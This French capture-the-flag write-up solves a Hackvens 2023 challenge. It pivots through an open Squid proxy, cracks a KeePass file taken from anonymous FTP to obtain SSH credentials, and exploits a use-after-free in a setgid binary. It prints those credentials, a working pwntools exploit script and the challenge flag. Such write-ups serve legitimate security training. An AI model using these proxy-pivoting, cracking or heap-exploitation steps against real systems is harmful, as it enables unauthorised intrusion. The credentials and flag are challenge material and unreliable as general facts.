[Hackvens 2023][Write Up – Pwn] Discovery
Enoncé
52.47.125.205
Reconnaissance / Obtention d’un shell
Cette fois-ci, une IP nous est donnée.
Après un scan, on remarque que le port 3128 est ouvert.
Il s’agit d’un service squid-http qui agit comme un proxy web.
Après avoir ajouté « http 52.47.125.205 3128 » dans le fichier « /etc/proxychains.conf », il est possible d’accéder au réseau interne au travers de ce proxy, et de relancer le scan, sur 127.0.0.1, en ajoutant proxychains devant nos commandes.
On remarque alors 3 ports ouverts:
- 21
- 22
- 3128
Le FTP autorise l’authentification anonyme, et nous permet d’obtenir le fichier db, qui est un fichier keepass
En tentant un bruteforce avec rockyou, on découvre le mot de passe: ‘pescado’.
Ce qui nous permet d’obtenir les identifiants ssh:
boissonchaude:npjYSaFE0ysf5pjMW960
Elévation de privilèges
Dans le home de boissonchaude, on remarque un binaire setguid:
Le binaire « program » qui est fourni est un exécutable linux x86-64.
En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- No canary: Pas de protections contre les buffers overflow
- NX: La stack n’est pas exécutable
- PIE: Les adresses du programme seront aléatoires (à un offset près)
Reverse
Il s’agit d’un système de messagerie, qui propose plusieurs choix:
- Create a new message
Le programme lit 0x100 bytes depuis l’entrée stdin (entrée utilisateur), alloue un buffer « message » de la taille lue avec malloc, puis les y copie.
L’adresse du buffer est stockée dans rbp-0x10.
- Delete unsent message
Le programme libère le buffer « message ». L’adresse du buffer n’est pas remise à 0.
- Register your username
Le programme vérifie l’adresse pointée par rbp-8. Il s’agit d’un buffer associé au username.
S’il est déjà alloué, il le libère.
Ensuite, il vérifie que le nom d’utilisateur n’est pas admin.
Si c’est bien le cas, il alloue une structure S de taille 0x10 (16).
Ensuite, le programme alloue une nouvelle structure de la taille du username, et l’y copie avec strcpy.
Les premiers 8 bytes de S contiennent un pointeur vers le username, et les 2 bytes d’après contiennent un 0. Au vu de la fonction « User status », ces deux bytes correspondent à l’état du compte (0 => inactif, 1=> actif).
Enfin, l’adresse de username nous est affichée avec un printf.
- Delete Username
Le programme vérifie que l’adresse pointée par rbp-8 (le buffer username) n’est pas vide. Si elle est allouée, il va libérer l’adresse de la chaine de caractère du username, puis la structure username. L’adresse du buffer n’est pas remise à 0.
- Read the flag
Le programme vérifie que le username est bien admin. Si oui, il affiche le contenu du fichier ‘/flag.txt’.
- User status
Le programme affiche le username enregistré, ainsi que son activité.
- Exit
Quitte le programme. On a pas vraiment besoin d’un screen là 🙂
La vulnérabilité
Le problème ici, est une vulnérabilité Use After Free. En effet, il n’y a pas de vérification sur le fait que le username soit alloué où non. En effet, le pointeur n’est jamais remis à 0.
Si génère une structure username, et qu’on la supprime ensuite, le pointeur vers cette structure reste présent, sans que le bloc ne soit alloué. Ainsi, il est possible d’écraser la structure associée en la réallouant, puis en y inscrivant les données voulues.
- Sur l’état 1, register username a été appelé et le username a été alloué (zone rouge).
- Sur l’état 2, on delete username, mais le pointeur de username reste toujours présent (il n’est pas vidé).
- Sur l’état 3, on alloue un message (zone jaune), qui va écraser la structure username, et qui nous permettra de créer un username personnalisé, en y inscrivant une adresse, puis un entier.
Exploitation
Voici une méthode pour devenir l’utilisateur admin:
On alloue un username, puis on le supprime. Supposons qu’il soit à l’adresse A. malloc a alloué puis libéré deux blocs de taille 0x20 (la structure username dans le bloc X , à l’adresse A, et la chaine de caractère dans le bloc Y, à l’adresse A+0x20).
Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A (car libérée en dernier). On pourra y écrire l’adresse du bloc Y (A+0x20), puis l’entier 1, pour mettre l’était à actif. En effet, on réécrase la structure username.
Ensuite, on alloue un message, de la taille 0x20. Il sera mis à l’adresse A+0x20 (car libérée en deuxième). On pourra y écrire admin, pour y forger un faux nom d’utilisateur.
Solve.py
from pwn import * #Connexion ssh à distance s = ssh(host='127.0.0.1', user='boissonchaude', password='npjYSaFE0ysf5pjMW960', port=22) r = s.run(['/home/boissonchaude/program']) #On alloue un username r.recvuntil(b'Your choice: ') print(r.sendline(b'3')) r.recvuntil(b'Your username: ') print(r.sendline(b'khacktus')) data = r.recvuntil(b'Your choice: ') addr = int(re.findall(b': ([0-9]*)\n', data)[0]) print("leaked addr: %08x"%addr) #On supprime le username r.sendline(b'4') print(r.recvuntil(b'Your choice: ')) #On alloue un message par dessus le username r.sendline(b'1') print(r.recvuntil(b'Your message: ')) r.send(p64(addr+0x20)+p64(1)) #On alloue un bloc message avec le username 'admin' print(r.recvuntil(b'Your choice: ')) r.sendline(b'1') print(r.recvuntil(b'Your message: ')) r.send(b'admin') print(r.recvuntil(b'Your choice: ')) r.interactive()
FLAG
HACKVENS{pr0xY_@Nd_l34k5_f0R_Th3_w1N!!@#}